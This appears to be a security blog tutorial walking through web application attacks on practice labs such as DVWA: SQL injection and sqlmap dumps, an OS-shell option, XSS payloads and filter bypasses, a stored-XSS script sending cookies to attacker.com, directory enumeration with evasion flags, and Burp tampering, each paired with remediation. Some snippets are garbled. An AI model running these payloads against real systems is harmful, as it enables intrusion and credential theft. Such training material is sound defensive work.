From Vulnerability Discovery to Exploitation: A Hands-On Guide to Web Application Security Testing + Video

By /

Listen to this Post

Featured Image

Introduction:

Web application security testing is a systematic process that moves beyond passive reconnaissance to active exploitation in controlled environments. The OWASP Top 10 for 2026 continues to highlight Broken Access Control as the top security risk, followed closely by Injection flaws including SQL Injection and Cross-Site Scripting. Understanding the attacker’s mindset through hands-on exploitation is essential for building effective defenses. This article provides a comprehensive walkthrough of exploitation techniques, covering SQL injection, XSS, directory enumeration, and traffic manipulation using industry-standard tools.

Learning Objectives & Secrets:

  • Objective 1: Master manual SQL injection techniques including authentication bypass and UNION-based database enumeration on deliberately vulnerable platforms like DVWA and OWASP Juice Shop.
  • Objective 2 Secret Tips: Leverage `sqlmap` for automated database enumeration while understanding when manual testing is more effective—use `–risk=3 –level=5` for maximum payload coverage but always start with manual validation to avoid false positives.
  • Objective 3 Secret Tips: Combine multiple tools in a single workflow—use `dirsearch` for endpoint discovery, Burp Suite for request manipulation, and `sqlmap` for exploitation—to build a complete penetration testing methodology.

You Should Know:

  1. SQL Injection Exploitation: Authentication Bypass and Database Enumeration

SQL Injection remains one of the most critical web application vulnerabilities, consistently ranking in the OWASP Top 10. The exploitation process typically follows a structured methodology:

Step-by-Step Guide:

Step 1: Set Up a Local Testing Environment

 Deploy DVWA using Docker
sudo docker run --rm -d --1ame dvwa -p 80:80 vulnerables/web-dvwa
 Access at http://127.0.0.1, login with admin/password

Step 2: Manual Authentication Bypass

Test for basic SQL injection by manipulating input parameters:

-- Basic authentication bypass payload
' OR '1'='1

-- Alternative payload for Medium security level (with escaping)
char(39) OR 1=1

Step 3: Column Enumeration with UNION Queries

Determine the number of columns using `ORDER BY`:

' ORDER BY 1-- -
' ORDER BY 2-- -
-- Continue until an error occurs to find column count

Step 4: Extract Database Information

-- Get database version
' UNION SELECT 1, version()-- -

-- List all tables in the database
' UNION SELECT null, table_name FROM information_schema.tables-- -

-- Extract table structure
' UNION SELECT null, column_name FROM information_schema.columns 
WHERE table_name='users'-- -

-- Dump credentials
' UNION SELECT user, password FROM users-- -

Step 5: Automated Exploitation with sqlmap

 Capture session cookie (from DevTools → Application → Cookies)
COOKIE="PHPSESSID=your_session_id; security=low"
URL="http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit"

Basic detection
sqlmap -u "$URL" --cookie="$COOKIE" --batch

Enumerate databases
sqlmap -u "$URL" --cookie="$COOKIE" --batch --dbs

Enumerate tables from specific database
sqlmap -u "$URL" --cookie="$COOKIE" --batch -D dvwa --tables

Dump users table
sqlmap -u "$URL" --cookie="$COOKIE" --batch -D dvwa -T users --dump

Advanced: OS shell access (if DB user has FILE privileges)
sqlmap -u "$URL" --cookie="$COOKIE" --os-shell

For POST requests or JSON APIs:

 POST form
sqlmap -u 'http://target/login' --data='user=a&pass=b' --batch

JSON API
sqlmap -u 'http://target/api/search' --data='{"q":""}' \
--headers='Content-Type: application/json' --batch

Using captured Burp request
sqlmap -r request.txt --batch

Windows Alternative:

 Using PowerShell with Invoke-WebRequest for basic testing
$body = @{id="1' OR '1'='1"} | ConvertTo-Json
Invoke-RestMethod -Uri "http://target/vulnerabilities/sqli/" -Method Post -Body $body

Remediation: Always use parameterized queries (prepared statements) instead of concatenating user input directly into SQL queries. For every SQL injection finding, document using CWE-89 and assign appropriate CVSS scores.

  1. Cross-Site Scripting (XSS): Reflected and Stored Attack Vectors

XSS vulnerabilities allow attackers to execute arbitrary JavaScript in a victim’s browser, leading to session hijacking, credential theft, and defacement.

Step-by-Step Guide:

Step 1: Identify Input Reflection Points

Map all user-controlled inputs that reflect in HTTP responses—URL parameters, form fields, HTTP headers, and cookie values.

<!-- Test payload to identify reflection -->
testpayload12345<b>test</b>"><test

Step 2: Determine Injection Context

View page source to identify where input lands: HTML body, attribute, script block, or URL.

<!-- HTML body context -->
<script>alert(1)</script>

<!-- HTML attribute context -->
" onfocus=alert(1) autofocus="

<!-- JavaScript context -->
';alert(1);//

<!-- URL context -->
javascript:alert(1)

Step 3: Test Basic Payloads

<!-- Basic proof of concept -->
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>

<

svg onload=alert(1)>
<details open ontoggle=alert(1)>

Step 4: Filter Bypass Techniques

If input is sanitized, try encoding and obfuscation:

<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>

<!-- HTML encoding -->
<img src=x onerror=&97;&108;&101;&114;&116;(1)>

<!-- Nested tags -->
<<script>script>alert(1)<</script>/script>

<!-- Unicode encoding -->
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074(1)>

Step 5: Test for Stored XSS

Submit payloads through forms that persist data to the database. Stored XSS is more dangerous as the payload executes every time the page is viewed:


<script>
// Session cookie exfiltration
fetch("https://attacker.com/log?c=" + document.cookie)
</script>

Step 6: DOM-Based XSS Testing

Check for JavaScript using dangerous sinks (innerHTML, document.write, eval) with user-controlled sources:

<img src=x onerror=alert(1)>
?default=<script>alert(1)</script>
javascript:alert(document.domain)

Remediation: Implement output encoding based on context, use Content Security Policy (CSP) headers, and sanitize user input with libraries like OWASP Java Encoder or DOMPurify.

3. Directory and Hidden Endpoint Enumeration with Dirsearch

Dirsearch is a Python-based web directory scanner that automates discovery of hidden directories, files, and backend interfaces.

Step-by-Step Guide:

Step 1: Basic Installation and Scan

 Install dirsearch
pip install dirsearch

Basic scan
dirsearch -u https://target.com

Step 2: Specify Extensions

 Scan for PHP, backup, and config files
dirsearch -u https://target.com -e php,bak,old,txt,zip

Step 3: Recursive Scanning

 Recursive directory discovery
dirsearch -u https://target.com -r

With maximum recursion depth
dirsearch -u https://target.com -R 3

Step 4: Advanced Configuration

 Exclude common status codes
dirsearch -u https://target.com -x 404,403,301

Use custom wordlist
dirsearch -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt

API endpoint discovery
dirsearch -u https://api.target.com -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt

Step 5: Performance Tuning

 Increase threads (default: 25)
dirsearch -u https://target.com -t 50

Set random delay to avoid WAF detection
dirsearch -u https://target.com --random-agents

Output results to file
dirsearch -u https://target.com -o results.txt --format json

Step 6: Filter by Response

 Only show 200 status codes containing "admin"
dirsearch -u https://target.com --exclude-status 403,404 --regex "admin"

Include specific status codes
dirsearch -u https://target.com -i 200,302

Common Discoverable Paths:

  • Backup files: /backup/, /www.zip, `config.php.bak`
    – Admin interfaces: /admin/, /wp-admin/, `/cpanel/`
    – Test pages: /test/, /demo/, `/dev/`
    – Sensitive files: /.git/, /.env, `/phpinfo.php`

    Remediation: Restrict directory listing on web servers, remove unnecessary backup files, implement proper authentication for admin interfaces, and use security headers to prevent information disclosure.

4. Burp Suite Traffic Manipulation and Parameter Tampering

Burp Suite’s Repeater tool allows manual modification and resending of HTTP requests to analyze application behavior.

Step-by-Step Guide:

Step 1: Configure Burp Proxy

Set your browser to use Burp’s proxy (default: 127.0.0.1:8080). Enable intercept in Proxy → Intercept tab.

Step 2: Capture and Send to Repeater

Right-click on any HTTP request in Proxy → HTTP history and select “Send to Repeater”.

Step 3: Modify Request Parameters

In the Repeater tab, modify any part of the request:
– HTTP method (GET → POST)
– URL parameters
– Headers (User-Agent, Cookie, Referer)
– Request body

 Example: Modify price parameter in a shopping cart request
POST /cart/update HTTP/1.1
Host: target.com
Cookie: session=abc123

product_id=123&quantity=1&price=133700
 Change price to 1

Step 4: Test for Parameter Tampering

 Test for IDOR (Insecure Direct Object Reference)
GET /api/users/12345 HTTP/1.1
Host: target.com
 Change user ID to access other users' data
GET /api/users/12346 HTTP/1.1

Step 5: Test for SQL Injection via Repeater

 Intercept and modify the id parameter
GET /vulnerabilities/sqli/?id=1 HTTP/1.1
 Change to injection payload
GET /vulnerabilities/sqli/?id=1' UNION SELECT user,password FROM users-- -

Step 6: Analyze Responses

Click “Send” to resend the modified request and view the response. Compare responses between different requests to identify vulnerabilities.

Step 7: Use Repeater for Authentication Testing

 Test session manipulation
POST /login HTTP/1.1
Host: target.com

username=admin&password=admin
 Try different credentials or SQL injection in username field

Keyboard Shortcuts:

  • Ctrl+R: Send request
  • Ctrl+U: URL encode selection
  • Ctrl+I: Send to Intruder

Remediation: Implement proper server-side access controls, validate all user inputs, use parameterized queries, and never trust client-side data.

5. Penetration Testing Report: CVSS Scoring and Remediation

Professional penetration testing requires documenting findings with severity scores and actionable remediation guidance.

CVSS 3.1 Vector Format:

CVSS:3.1/AV:[N|A|L|P]/AC:[L|H]/PR:[N|L|H]/UI:[N|R]/S:[U|C]/C:[N|L|H]/I:[N|L|H]/A:[N|L|H]

Severity Tiers:

| Severity | Score Range | Example Vector |

|-|-|-|

| CRITICAL | 9.0–10.0 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 |
| HIGH | 7.0–8.9 | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 |
| MEDIUM | 4.0–6.9 | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5 |
| LOW | 0.1–3.9 | AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N = 4.3 |

Report Template Structure:

1. Executive Summary

2. Scope and Methodology

3. Findings Overview Table

4. Detailed Findings (each with):

  • Vulnerability and Description
  • CVSS Vector and Score
  • Affected Assets
  • Proof of Concept
  • Remediation Steps
  • References (CWE, CVE)

5. Remediation Summary

Sample Finding Documentation:

Vulnerability: SQL Injection - Authentication Bypass
CVSS: 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 - CRITICAL)
CWE: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)
Affected Endpoint: /login.php
Proof of Concept: ' OR '1'='1
Remediation: Implement parameterized queries using prepared statements

Remediation Best Practices:

  • SQL Injection: Use parameterized queries, stored procedures, or ORM frameworks
  • XSS: Implement output encoding, Content Security Policy, and input validation
  • Broken Access Control: Enforce server-side access controls, use role-based permissions
  • Information Disclosure: Remove backup files, disable directory listing, use proper error handling

What Undercode Say:

  • Key Takeaway 1: SQL injection is not limited to login bypass—once exploited, it enables full visibility into authentication systems, authorization logic, sensitive business data, and user tracking logs. A single SQL injection vulnerability can escalate into complete database compromise.

  • Key Takeaway 2: The most effective defense against injection attacks remains proper input validation and parameterized queries. However, Broken Access Control continues to dominate the OWASP Top 10 because it represents a logical flaw that automated tools struggle to detect—they can understand code structure but lack the context to understand business intent.

Analysis: The internship experience at Maincrafts Technology demonstrates the importance of hands-on, controlled environment testing for understanding both the attacker mindset and defensive validation. The progression from reconnaissance (Task 3) to exploitation (Task 4) mirrors real-world penetration testing methodologies. Key observations include: (1) The use of DVWA and OWASP Juice Shop as testing platforms provides safe, reproducible environments for learning; (2) The combination of manual testing (Burp Suite, manual SQL injection) with automated tools (dirsearch, sqlmap) reflects industry best practices; (3) The emphasis on documentation—mapping vulnerabilities to CVSS scores and providing remediation strategies—is crucial for translating technical findings into actionable security improvements. Organizations should prioritize training that covers both offensive techniques and defensive implementations, as understanding how attacks work is essential for building effective countermeasures. The persistent presence of SQL injection and XSS in the OWASP Top 10 underscores that foundational web security principles remain widely neglected in development practices.

Prediction:

  • +1 Hands-on cybersecurity internships and capture-the-flag (CTF) training will become increasingly integrated into computer science curricula as employers demand practical skills over theoretical knowledge alone.

  • +1 The adoption of AI-powered code analysis tools will accelerate, but human-led penetration testing will remain essential for identifying logic flaws and business logic vulnerabilities that automated scanners miss.

  • -1 SQL injection and XSS vulnerabilities will persist in legacy applications and poorly maintained codebases, continuing to be leading causes of data breaches for the foreseeable future.

  • -1 The skills gap in web application security will widen as attack techniques evolve faster than defensive training programs can adapt, increasing the demand for specialized security professionals.

  • +1 Open-source security tools like OWASP ZAP, Burp Suite Community Edition, and sqlmap will continue to evolve, making professional-grade security testing more accessible to students and independent researchers.

  • -1 Organizations that fail to implement systematic security testing throughout the software development lifecycle will face increasing regulatory scrutiny and financial penalties from data protection regulations.

  • +1 The integration of security testing into CI/CD pipelines (DevSecOps) will become standard practice, enabling earlier detection and remediation of vulnerabilities before production deployment.

▶️ Related Video (82% Match):

https://www.youtube.com/watch?v=-7OX58nHPb8

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: https://lnkd.in/p/eF4-Ksiq – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Related Posts: